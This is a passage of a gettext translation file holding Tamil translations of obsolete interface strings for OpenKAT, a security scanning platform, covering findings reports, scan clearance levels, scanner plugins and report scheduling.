ச்கேன் அளவைக் கொண்டுள்ளது, இது குறைந்தபட்சம் எல் 1 \"\n#~ \"ஆகும். Systemen zijn வெப்சர்வர்ச், மெயில்சர்வர்கள், என் பெயர்செர்வர்ச் (டிஎன்எச்) என \"\n#~ \"தட்டச்சு செய்க.\"\n\n#~ msgid \"\"\n#~ \"The Findings Report provides an overview of the identified findings on \"\n#~ \"the scanned systems. For each finding it shows the risk level and the \"\n#~ \"number of occurrences of the finding. Under the 'Details' section a \"\n#~ \"description, impact, recommendation and location of the finding can be \"\n#~ \"found. The risk level may be different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"கண்டுபிடிப்புகள் அறிக்கை ச்கேன் செய்யப்பட்ட அமைப்புகளில் அடையாளம் காணப்பட்ட \"\n#~ \"கண்டுபிடிப்புகளின் கண்ணோட்டத்தை வழங்குகிறது. ஒவ்வொரு கண்டுபிடிப்பிற்கும் இது இடர் நிலை \"\n#~ \"மற்றும் கண்டுபிடிப்பின் நிகழ்வுகளின் எண்ணிக்கையைக் காட்டுகிறது. 'விவரங்கள்' பிரிவின் கீழ் \"\n#~ \"ஒரு விளக்கம், தாக்கம், பரிந்துரை மற்றும் கண்டுபிடிப்பின் இருப்பிடம் ஆகியவற்றைக் காணலாம். \"\n#~ \"உங்கள் குறிப்பிட்ட சூழலுக்கு இடர் நிலை வேறுபட்டிருக்கலாம்.\"\n\n#~ msgid \"(Required)\"\n#~ msgstr \"(தேவை)\"\n\n#~ msgid \"\"\n#~ \"An overview of all (critical) findings OpenKAT found. Check the detail \"\n#~ \"section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"அனைத்து (விமர்சன) கண்டுபிடிப்புகளின் கண்ணோட்டம் OpenKAT கண்டறியப்பட்டது. கூடுதல் \"\n#~ \"தீவிரத்தன்மை தகவலுக்கு விவரம் பகுதியைச் சரிபார்க்கவும்.\"\n\n#~ msgid \"Total Findings\"\n#~ msgstr \"மொத்த கண்டுபிடிப்புகள்\"\n\n#~ msgid \" Finding Details\"\n#~ msgstr \" விவரங்களைக் கண்டறிதல்\"\n\n#~ msgid \"Top critical organizations\"\n#~ msgstr \"சிறந்த முக்கியமான நிறுவனங்கள்\"\n\n#~ msgid \"Critical findings\"\n#~ msgstr \"சிக்கலான கண்டுபிடிப்புகள்\"\n\n#~ msgid \"Critical Findings\"\n#~ msgstr \"சிக்கலான கண்டுபிடிப்புகள்\"\n\n#~ msgid \"this field is required\"\n#~ msgstr \"இந்த புலம் தேவை\"\n\n#~ msgid \"This field is required\"\n#~ msgstr \"இந்தப் புலம் தேவை\"\n\n#~ msgid \"Generate Findings Report\"\n#~ msgstr \"கண்டுபிடிப்புகள் அறிக்கையை உருவாக்குங்கள்\"\n\n#~ msgid \"Enable plugins and continue\"\n#~ msgstr \"செருகுநிரல்களை இயக்கி தொடரவும்\"\n\n#, python-format\n#~ msgid \"Select object (%(total_oois)s)\"\n#~ msgid_plural \"Select objects (%(total_oois)s)\"\n#~ msgstr[0] \"பொருளைத் தேர்ந்தெடுக்கவும் (%(total_oois)s)\"\n#~ msgstr[1] \"பொருள்களைத் தேர்ந்தெடுக்கவும் (%(total_oois)s)\"\n\n#~ msgid \"Go to the object page\"\n#~ msgstr \"பொருள் பக்கத்திற்குச் செல்லவும்\"\n\n#, python-format\n#~ msgid \"You have selected %(total_oois)s object in previous step.\"\n#~ msgid_plural \"You have selected %(total_oois)s objects in previous step.\"\n#~ msgstr[0] \"முந்தைய கட்டத்தில் %(total_oois)s பொருளைத் தேர்ந்தெடுத்துள்ளீர்கள்.\"\n#~ msgstr[1] \"முந்தைய கட்டத்தில் %(total_oois)s பொருள்களைத் தேர்ந்தெடுத்துள்ளீர்கள்.\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            You don't have any clearance to scan objects.\"\n#~ \"<br>\\n\"\n#~ \"                            Get in contact with the admin to give you the \"\n#~ \"necessary clearance level.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            பொருள்களை ச்கேன் செய்ய உங்களுக்கு எந்த இசைவு இல்லை. \"\n#~ \"<br>\\n\"\n#~ \" தேவையான இசைவு அளவை உங்களுக்கு வழங்க நிர்வாகியுடன் தொடர்பு கொள்ளுங்கள்.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Withdraw L%(acl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            L%(acl)s இசைவு மற்றும் பொறுப்பை திரும்பப் பெறுங்கள்\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        நிலை L%(tcl)s இசைவு மற்றும் பொறுப்பை ஏற்றுக்கொள்ளுங்கள்\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        You can create a new Boefje. If you want more \"\n#~ \"information on this,\\n\"\n#~ \"                        you can check out the <a href=\\\"https://docs.\"\n#~ \"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n#~ \"html\\\">documentation</a>.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        நீங்கள் ஒரு புதிய போஃப்சேவை உருவாக்கலாம். இது குறித்த \"\n#~ \"கூடுதல் தகவல்களை நீங்கள் விரும்பினால்,\\n\"\n#~ \" நீங்கள் <a href = \\\"https://docs.openkat.nl/developer_documentation/\"\n#~ \"development_tutorial/creating_a_boefje.html\\\"> ஆவணங்கள் </a> ஐப் பார்க்கலாம்.\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Use the form below to clone the settings from \"\n#~ \"<i>%(current_organization)s</i> to the selected organization.\\n\"\n#~ \"        This includes both the KAT-alogus settings as well as enabled and \"\n#~ \"disabled plugins.\\n\"\n#~ \"      \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"        தேர்ந்தெடுக்கப்பட்ட நிறுவனத்திற்கு <i>%(current_organization)s </i> \"\n#~ \"இலிருந்து அமைப்புகளை நகலி செய்ய கீழே உள்ள படிவத்தைப் பயன்படுத்தவும்.\\n\"\n#~ \" இது கேட்-அலோகச் அமைப்புகள் மற்றும் இயக்கப்பட்ட மற்றும் முடக்கப்பட்ட செருகுநிரல்கள் \"\n#~ \"இரண்டையும் உள்ளடக்கியது.\\n\"\n#~ \"      \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Plugin available\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                            Plugins available\\n\"\n#~ \"                        \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                            சொருகி கிடைக்கிறது\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                            செருகுநிரல்கள் கிடைக்கின்றன\\n\"\n#~ \"                        \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Boefje variants that use the same container image. \"\n#~ \"For more\\n\"\n#~ \"                    information about Boefje variants you can read the \"\n#~ \"documentation.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    ஒரே கொள்கலன் படத்தைப் பயன்படுத்தும் போஃப்சே வகைகள். மேலும்\\n\"\n#~ \" போஃப்சே வகைகளைப் பற்றிய தகவல்கள் நீங்கள் ஆவணங்களைப் படிக்கலாம்.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Add settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            கூட்டு setting\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            கூட்டு settings\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            அமைத்தல்\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            அமைப்புகள்\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting and enable boefje\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings and enable boefje\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  அமைப்பைச் சேர்த்து போஃப்சேவை இயக்கவும்\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  அமைப்புகளைச் சேர்த்து போஃப்சேவை இயக்கவும்\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                Add setting\\n\"\n#~ \"              \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                Add settings\\n\"\n#~ \"              \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                கூட்டு setting\\n\"\n#~ \"              \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                விளம்பர அமைப்புகள்\\n\"\n#~ \"              \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        In the table below the settings for this specific \"\n#~ \"Boefje can be seen.\\n\"\n#~ \"                        Set or change the value of the variables by \"\n#~ \"editing the settings.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        இந்த குறிப்பிட்ட போஃப்சேவுக்கான அமைப்புகளுக்கு கீழே உள்ள \"\n#~ \"அட்டவணையில் காணலாம்.\\n\"\n#~ \" அமைப்புகளைத் திருத்துவதன் மூலம் மாறிகளின் மதிப்பை அமைக்கவும் அல்லது மாற்றவும்.\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT has a permission system that allows \"\n#~ \"administrators to\\n\"\n#~ \"                    configure which users can set a certain clearance \"\n#~ \"level. The will make sure\\n\"\n#~ \"                    that only users that are trusted can start the more \"\n#~ \"aggressive scans.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    ஓபன்காட் நிர்வாகிகளை அனுமதிக்கும் இசைவு அமைப்பு உள்ளது\\n\"\n#~ \" எந்த பயனர்கள் ஒரு குறிப்பிட்ட இசைவு அளவை அமைக்க முடியும் என்பதை உள்ளமைக்கவும். \"\n#~ \"உறுதி செய்யும்\\n\"\n#~ \" நம்பகமான பயனர்கள் மட்டுமே மிகவும் ஆக்ரோசமான ச்கேன்களைத் தொடங்க முடியும்.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Before a member is granted the ability to set \"\n#~ \"clearance levels on an object,\\n\"\n#~ \"                    they must first acknowledge and accept the clearance \"\n#~ \"level set by the administrators.\\n\"\n#~ \"                    The maximum scanning level permitted for a member is \"\n#~ \"aligned with the trusted clearance level.\\n\"\n#~ \"                    By acknowledging the trusted clearance level, this \"\n#~ \"member formally agrees to abide by\\n\"\n#~ \"                    this permission and gains the capability to perform \"\n#~ \"scans only up to this trusted clearance level.\\n\"\n#~ \"                    This two-step process ensures that the member \"\n#~ \"operates within authorized boundaries.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    ஒரு உறுப்பினருக்கு ஒரு பொருளின் மீது இசைவு நிலைகளை \"\n#~ \"நிர்ணயிக்கும் திறன் வழங்கப்படுவதற்கு முன்பு,\\n\"\n#~ \" நிர்வாகிகள் நிர்ணயித்த இசைவு அளவை அவர்கள் முதலில் ஒப்புக் கொண்டு ஏற்றுக்கொள்ள \"\n#~ \"வேண்டும்.\\n\"\n#~ \" ஒரு உறுப்பினருக்கு அனுமதிக்கப்பட்ட அதிகபட்ச ச்கேனிங் நிலை நம்பகமான இசைவு மட்டத்துடன் \"\n#~ \"ஒத்துப்போகிறது.\\n\"\n#~ \" நம்பகமான இசைவு அளவை ஒப்புக்கொள்வதன் மூலம், இந்த உறுப்பினர் முறையாக கட்டுப்பட \"\n#~ \"ஒப்புக்கொள்கிறார்\\n\"\n#~ \" இந்த இசைவு மற்றும் இந்த நம்பகமான இசைவு நிலை வரை மட்டுமே ச்கேன் செய்யும் திறனைப் \"\n#~ \"பெறுகிறது.\\n\"\n#~ \" இந்த இரண்டு-படி செயல்முறை உறுப்பினர் அங்கீகரிக்கப்பட்ட எல்லைகளுக்குள் செயல்படுவதை \"\n#~ \"உறுதி செய்கிறது.\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                Unfortunately you cannot continue the \"\n#~ \"onboarding. </br>\\n\"\n#~ \"                                Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                                You need at least a clearance level of \"\n#~ \"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n#~ \"<strong>%(ooi)s</strong></br>\\n\"\n#~ \"                                Contact your administrator to receive a \"\n#~ \"higher clearance.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                துரதிர்ச்டவசமாக நீங்கள் ஆன் போர்டிங் தொடர \"\n#~ \"முடியாது. </br>\\n\"\n#~ \"                                உங்கள் நிர்வாகி <strong> எல்%(tcl)s </strong> \"\n#~ \"இன் இசைவு மட்டத்துடன் உங்களை நம்பியுள்ளார். </br>\\n\"\n#~ \"                                <strong> \"\n#~ \"%(dns_report_least_clearance_level)s </strong> இன் இசைவு அளவையாவது \"\n#~ \"உங்களுக்குத் தேவை <strong>%(ooi)s</strong> ஐ வருடுவதற்கு </br>\\n\"\n#~ \"                                அதிக இசைவு பெற உங்கள் நிர்வாகியைத் தொடர்பு \"\n#~ \"கொள்ளுங்கள்.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You must first accept this clearance level to \"\n#~ \"continue.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            உங்கள் நிர்வாகி <strong> எல்%(tcl)s </strong> இன் \"\n#~ \"இசைவு மட்டத்துடன் உங்களை நம்பியுள்ளார். </br>\\n\"\n#~ \"                             தொடர இந்த இசைவு அளவை நீங்கள் முதலில் ஏற்றுக்கொள்ள \"\n#~ \"வேண்டும்.\\n\"\n#~ \"                            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            நிலை L%(tcl)s இசைவு மற்றும் பொறுப்பை \"\n#~ \"ஏற்றுக்கொள்ளுங்கள்\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has <strong>trusted</\"\n#~ \"strong> you with a clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You have also <strong>acknowledged</strong> \"\n#~ \"to use this clearance level of <strong>L%(acl)s</strong>.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            உங்கள் நிர்வாகி <strong> நம்பகமான </strong> \"\n#~ \"<strong> எல்%(tcl)s </strong> இன் இசைவு அளவைக் கொண்டுள்ளது. </br>\\n\"\n#~ \" <strong> எல்%(acl)s</strong> இன் இந்த இசைவு அளவைப் பயன்படுத்த நீங்கள் <strong> \"\n#~ \"ஒப்புக்கொள்ளப்பட்ட </strong> உள்ளது.\\n\"\n#~ \"                            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    <strong>Disclaimer:</strong>\\n\"\n#~ \"                    Not all DNSRecords are parsed in OpenKAT.\\n\"\n#~ \"                    DNS record types that are parsed and could be \"\n#~ \"displayed in the table are:\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    <strong> மறுப்பு: </strong>\\n\"\n#~ \" அனைத்து DNSRECORD களும் OpenKat இல் பாகுபடுத்தப்படவில்லை.\\n\"\n#~ \" பாகுபடுத்தப்பட்ட மற்றும் அட்டவணையில் காட்டக்கூடிய டிஎன்எச் பதிவு வகைகள்:\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                Select which objects you want to include in your report. \"\n#~ \"You can either continue\\n\"\n#~ \"                with a live set or you can select the objects manually \"\n#~ \"from the table below.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                உங்கள் அறிக்கையில் நீங்கள் எந்த பொருள்களைச் சேர்க்க விரும்புகிறீர்கள் \"\n#~ \"என்பதைத் தேர்ந்தெடுக்கவும். நீங்கள் தொடரலாம்\\n\"\n#~ \" ஒரு நேரடி தொகுப்புடன் அல்லது கீழேயுள்ள அட்டவணையில் இருந்து கைமுறையாக பொருட்களைத் \"\n#~ \"தேர்ந்தெடுக்கலாம்.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                A live set is a set of objects based on the applied \"\n#~ \"filters.\\n\"\n#~ \"                Any object that matches this applied filter (now or in \"\n#~ \"the future) will be used as\\n\"\n#~ \"                input for the scheduled report. If your live set filter \"\n#~ \"(e.g. 'hostnames' with\\n\"\n#~ \"                'L2 clearance' that are 'declared') shows 2 hostnames \"\n#~ \"that match the filter today,\\n\"\n#~ \"                the scheduled report will run for those 2 hostnames. If \"\n#~ \"you add 3 more hostnames\\n\"\n#~ \"                tomorrow (with the same filter criteria), your next \"\n#~ \"scheduled report will contain\\n\"\n#~ \"                5 hostnames. Your live set will update as you go.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                ஒரு நேரடி தொகுப்பு என்பது பயன்படுத்தப்பட்ட வடிப்பான்களின் \"\n#~ \"அடிப்படையில் பொருள்களின் தொகுப்பாகும்.\\n\"\n#~ \" இந்த பயன்படுத்தப்பட்ட வடிப்பானுடன் (இப்போது அல்லது எதிர்காலத்தில்) பொருந்தக்கூடிய \"\n#~ \"எந்தவொரு பொருளும் பயன்படுத்தப்படும்\\n\"\n#~ \" திட்டமிடப்பட்ட அறிக்கைக்கான உள்ளீடு. உங்கள் நேரடி தொகுப்பு வடிகட்டி என்றால் (எ.கா. \"\n#~ \"'ஓச்ட்பெயம்ச்' உடன்\\n\"\n#~ \" 'அறிவிக்கப்பட்ட' 'எல் 2 அனுமதி') இன்று வடிகட்டியுடன் பொருந்தக்கூடிய 2 ஓச்ட்பெயர்களைக் \"\n#~ \"காட்டுகிறது,\\n\"\n#~ \" திட்டமிடப்பட்ட அறிக்கை அந்த 2 புரவலன் பெயர்களுக்காக இயங்கும். நீங்கள் மேலும் 3 \"\n#~ \"ஓச்ட்பெயர்களைச் சேர்த்தால்\\n\"\n#~ \" நாளை (அதே வடிகட்டி அளவுகோல்களுடன்), உங்கள் அடுத்த திட்டமிடப்பட்ட அறிக்கையில் \"\n#~ \"இருக்கும்\\n\"\n#~ \" 5 ஓச்ட்பெயர்கள். நீங்கள் செல்லும்போது உங்கள் நேரடி தொகுப்பு புதுப்பிக்கப்படும்.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"      Deleted reports are removed in the view from the moment of \"\n#~ \"deletion. The report can still be accessed on timestamps before the \"\n#~ \"deletion. Only the report is removed from the view, not the data it is \"\n#~ \"based on.\\n\"\n#~ \"  \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"      நீக்கப்பட்ட தருணத்திலிருந்து நீக்கப்பட்ட அறிக்கைகள் பார்வையில் அகற்றப்படுகின்றன. \"\n#~ \"நீக்குவதற்கு முன்பு நேர முத்திரைகளில் அறிக்கையை அணுகலாம். அறிக்கை மட்டுமே பார்வையில் \"\n#~ \"இருந்து அகற்றப்படுகிறது, அது அடிப்படையாகக் கொண்ட தரவு அல்ல.\\n\"\n#~ \"  \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"      It is still possible to generate a new report for same date. If the \"\n#~ \"report is part of a combined report, it will remain available in the \"\n#~ \"combined report.\\n\"\n#~ \"  \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"      அதே தேதிக்கு ஒரு புதிய அறிக்கையை உருவாக்குவது இன்னும் சாத்தியமாகும். \"\n#~ \"அறிக்கை ஒருங்கிணைந்த அறிக்கையின் ஒரு பகுதியாக இருந்தால், அது ஒருங்கிணைந்த \"\n#~ \"அறிக்கையில் கிடைக்கும்.\\n\"\n#~ \"  \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Are you sure you want to disable the schedule for \"\n#~ \"%(report_name)s?\\n\"\n#~ \"            The recipe will still exist and the schedule can be enabled \"\n#~ \"later on.\\n\"\n#~ \"        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            %(report_name)s க்கான அட்டவணையை முடக்க விரும்புகிறீர்களா?\\n\"\n#~ \" செய்முறை இன்னும் இருக்கும், பின்னர் அட்டவணையை இயக்க முடியும்.\\n\"\n#~ \"        \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"      By submitting you're generating the selected reports again, using \"\n#~ \"the current data.\\n\"\n#~ \"  \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"      சமர்ப்பிப்பதன் மூலம், தற்போதைய தரவைப் பயன்படுத்தி, தேர்ந்தெடுக்கப்பட்ட அறிக்கைகளை \"\n#~ \"மீண்டும் உருவாக்குகிறீர்கள்.\\n\"\n#~ \"  \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            <strong>Warning:</strong>\\n\"\n#~ \"                            Indemnification is not set for this \"\n#~ \"organization.\\n\"\n#~ \"                            Go to the <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">organization settings page</a> to add \"\n#~ \"one.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            <strong> எச்சரிக்கை: </strong>\\n\"\n#~ \"                             இந்த நிறுவனத்திற்கு இழப்பீடு அமைக்கப்படவில்லை.\\n\"\n#~ \"                             ஒன்றைச் சேர்க்க <a \"\n#~ \"href=\\\"%(organization_settings)s\\\"> அமைப்பு அமைப்புகள் பக்கத்திற்குச் செல்லவும்.</\"\n#~ \"a>\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    An overview of \\\"%(organization_name)s\\\" its \"\n#~ \"members.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    அதன் உறுப்பினர்களின் \\\"%(organization_name)s\\\" பற்றிய \"\n#~ \"கண்ணோட்டம்.\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            An overview of \\\"%(organization_name)s\\\". This shows general \"\n#~ \"information and its settings.\\n\"\n#~ \"          \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            \\\"%(organization_name)s\\\" இன் கண்ணோட்டம். இது பொதுவான தகவல்களையும் \"\n#~ \"அதன் அமைப்புகளையும் காட்டுகிறது.\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              <strong>Warning:</strong>\\n\"\n#~ \"              Indemnification is not set for this organization.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              <strong> எச்சரிக்கை: </strong>\\n\"\n#~ \" இந்த அமைப்புக்கு இழப்பீடு அமைக்கப்படவில்லை.\\n\"\n#~ \"            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              This means that this object will be scanned by Boefjes with \"\n#~ \"scan level\\n\"\n#~ \"              %(scan_level)s and lower. Setting the clearance level from \"\n#~ \"“declared”\\n\"\n#~ \"              to “inherit” means that this object will inherit its level \"\n#~ \"from neighbouring\\n\"\n#~ \"              objects. This means that the clearance level might stay the \"\n#~ \"same, increase,\\n\"\n#~ \"              or decrease depending on other declared clearance levels. \"\n#~ \"Clearance levels\\n\"\n#~ \"              of objects that inherit from this clearance level will also \"\n#~ \"be recalculated.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              இதன் பொருள் இந்த பொருள் ச்கேன் மட்டத்துடன் போஃப்செசால் ச்கேன் செய்யப்படும்\\n\"\n#~ \" %(scan_level)s மற்றும் கீழ். இசைவு அளவை \\\"அறிவிக்கப்பட்ட\\\" இலிருந்து அமைத்தல்\\n\"\n#~ \" \\\"பரம்பரை\\\" என்பது இந்த பொருள் அதன் நிலையை அண்டை நாடுகளிலிருந்து பெறும் \"\n#~ \"என்பதாகும்\\n\"\n#~ \" பொருள்கள். இதன் பொருள் இசைவு நிலை அப்படியே இருக்கக்கூடும், அதிகரிப்பு,\\n\"\n#~ \" அல்லது பிற அறிவிக்கப்பட்ட இசைவு நிலைகளைப் பொறுத்து குறைவு. இசைவு நிலைகள்\\n\"\n#~ \" இந்த இசைவு மட்டத்திலிருந்து பெறும் பொருள்களும் மீண்டும் கணக்கிடப்படும்.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This object has a clearance level of \\\"L0\\\". This means \"\n#~ \"that this object will not be scanned by any Boefje until that\\n\"\n#~ \"                Boefje is run manually for this object again. Objects \"\n#~ \"with a clearance level higher than \\\"L0\\\" will be scanned automatically \"\n#~ \"by Boefjes with\\n\"\n#~ \"                corresponding scan levels.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                இந்த பொருள் \\\"L0\\\" இன் இசைவு அளவைக் கொண்டுள்ளது. இதன் பொருள் இந்த \"\n#~ \"பொருள் எந்த போஃப்சீயும் ச்கேன் செய்யப்படாது\\n\"\n#~ \" போஃப்சே மீண்டும் இந்த பொருளுக்கு கைமுறையாக இயக்கப்படுகிறது. \\\"L0\\\" ஐ விட அதிகமான \"\n#~ \"இசைவு அளவைக் கொண்ட பொருள்கள் போஃப்செசால் தானாகவே ச்கேன் செய்யப்படும்\\n\"\n#~ \" தொடர்புடைய ச்கேன் நிலைகள்.\\n\"\n#~ \"            \"\n\n#~ msgid \"Download PDF\"\n#~ msgstr \"PDF ஐ பதிவிறக்கவும்\"\n\n#~ msgid \"Download JSON\"\n#~ msgstr \"சாதொபொகு ஐ பதிவிறக்கவும்\"\n\n#~ msgid \"This is the OpenKAT\"\n#~ msgstr \"இது ஓபன்காட்\"\n\n#~ msgid \"Created with date from: \"\n#~ msgstr \"இதிலிருந்து தேதியுடன் உருவாக்கப்பட்டது: \"\n\n#~ msgid \"Created on: \"\n#~ msgstr \"உருவாக்கப்பட்டது: \"\n\n#~ msgid \"Created by: \"\n#~ msgstr \"உருவாக்கியவர்: \"\n\n#~ msgid \"This sector contains\"\n#~ msgstr \"இந்த துறையில் உள்ளது\"\n\n#~ msgid \"scanned organizations.\"\n#~ msgstr \"ச்கேன் செய்யப்பட்ட அமைப்புகள்.\"\n\n#~ msgid \"A total of \"\n#~ msgstr \"மொத்தம் \"\n\n#~ msgid \" critical vulnerabilities have been identified.\"\n#~ msgstr \" சிக்கலான பாதிப்புகள் அடையாளம் காணப்பட்டுள்ளன.\"\n\n#~ msgid \"There are no boefjes available within the current clearance level of\"\n#~ msgstr \"தற்போதைய இசைவு நிலைக்குள் போஃப்ச்கள் எதுவும் கிடைக்கவில்லை\"\n\n#~ msgid \"Or if you have the authorization, upgrade the clearance level of\"\n#~ msgstr \"அல்லது உங்களுக்கு ஏற்பு இருந்தால், இசைவு அளவை மேம்படுத்தவும்\"\n\n#~ msgid \"Scan frequency\"\n#~ msgstr \"அதிர்வெண் ச்கேன்\"\n\n#~ msgid \"\"\n#~ \"Specify the scanning frequency for this Boefje in minutes. The default is \"\n#~ \"24 hours. For example: 5 minutes will let the boefje scan every 5 minutes.\"\n#~ msgstr \"\"\n#~ \"இந்த போஃப்சேவுக்கான ச்கேனிங் அதிர்வெண்ணை நிமிடங்களில் குறிப்பிடவும். இயல்புநிலை 24 \"\n#~ \"மணிநேரம். உதாரணமாக: ஒவ்வொரு 5 நிமிடங்களுக்கும் 5 நிமிடங்கள் போஃப்சே ச்கேன் செய்ய \"\n#~ \"அனுமதிக்கும்.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        An overview of the tasks for %(organization)s. \"\n#~ \"Tasks are divided in Boefjes and Normalizers.\\n\"\n#~ \"                        Boefjes scan objects and Normalizers dispatch on \"\n#~ \"the output mime-type.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        %(organization)s பணிகளின் கண்ணோட்டம். பணிகள் போஃப்செச் \"\n#~ \"மற்றும் இயல்பான மருந்துகளில் பிரிக்கப்பட்டுள்ளன.\\n\"\n#~ \" போஃப்செச் ச்கேன் பொருள்கள் மற்றும் இயல்பான மருந்துகள் 